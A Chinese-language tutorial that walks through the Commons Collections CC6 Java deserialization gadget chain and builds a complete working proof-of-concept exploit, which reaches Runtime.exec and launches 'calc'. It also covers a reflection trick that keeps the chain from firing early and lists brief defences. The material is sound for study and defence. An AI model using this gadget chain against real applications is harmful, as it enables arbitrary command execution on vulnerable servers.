Java反序列化CC6链 —— 逐步EXP编写
字数 1122 2025-08-12 11:33:41
Java反序列化CC6链分析与利用
概述
CC6链是Apache Commons Collections库中的一个反序列化漏洞利用链,它结合了CC1链和URLDNS链的特点,具有以下优势:
- 不受JDK版本限制(与CC1链相比)
- 使用HashMap作为入口类,具有更好的通用性
- 结合了LazyMap和TiedMapEntry的特性
环境搭建
所需环境:
- JDK 8u71
- Commons-Collections 3.2.1
核心组件分析
1. LazyMap与InvokerTransformer
CC6链的前半部分与CC1链相同,使用LazyMap和InvokerTransformer:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
2. TiedMapEntry组件
TiedMapEntry类是CC6链的关键桥梁:
public class TiedMapEntry implements Entry, KeyValue, Serializable {
// ...
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}
3. HashMap入口
HashMap的put方法会自动调用hashCode方法:
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value"); // 触发hashCode()
完整利用链
完整的调用链如下:
xxx.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Runtime.exec()
EXP编写详解
基础EXP验证
// 验证LazyMap.get()可用性
public class LazyMapEXP {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}
TiedMapEntry验证
// 验证TiedMapEntry链段
public class TiedMapEntryEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}
完整EXP
// 完整CC6链利用
public class FinalCC6EXP {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
// 初始使用无害的Transformer防止提前触发
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
// 通过反射修改为恶意Transformer
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
// 序列化和反序列化
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
关键问题解决
1. 序列化时提前触发问题
解决方案:
- 初始使用无害的
ConstantTransformer("five") - 在put操作后通过反射修改为恶意的
ChainedTransformer
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
// ... put操作后 ...
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
2. IDEA调试时自动触发问题
原因:IDEA在debug时会自动调用toString()方法展示对象内容,导致链子提前触发。
解决方案:
- 打开IDEA设置
- 进入"Build, Execution, Deployment" → "Debugger" → "Data Views" → "Java"
- 取消勾选"Enable 'toString()' object view"
防御措施
- 升级Commons-Collections到安全版本
- 使用Java反序列化过滤器
- 对不受信任的输入进行严格验证
总结
CC6链通过以下关键点实现利用:
- 使用HashMap作为入口点
- 通过TiedMapEntry连接HashMap和LazyMap
- 利用反射技术避免序列化时提前触发
- 最终通过InvokerTransformer执行任意命令
理解CC6链有助于深入掌握Java反序列化漏洞的原理和防御方法。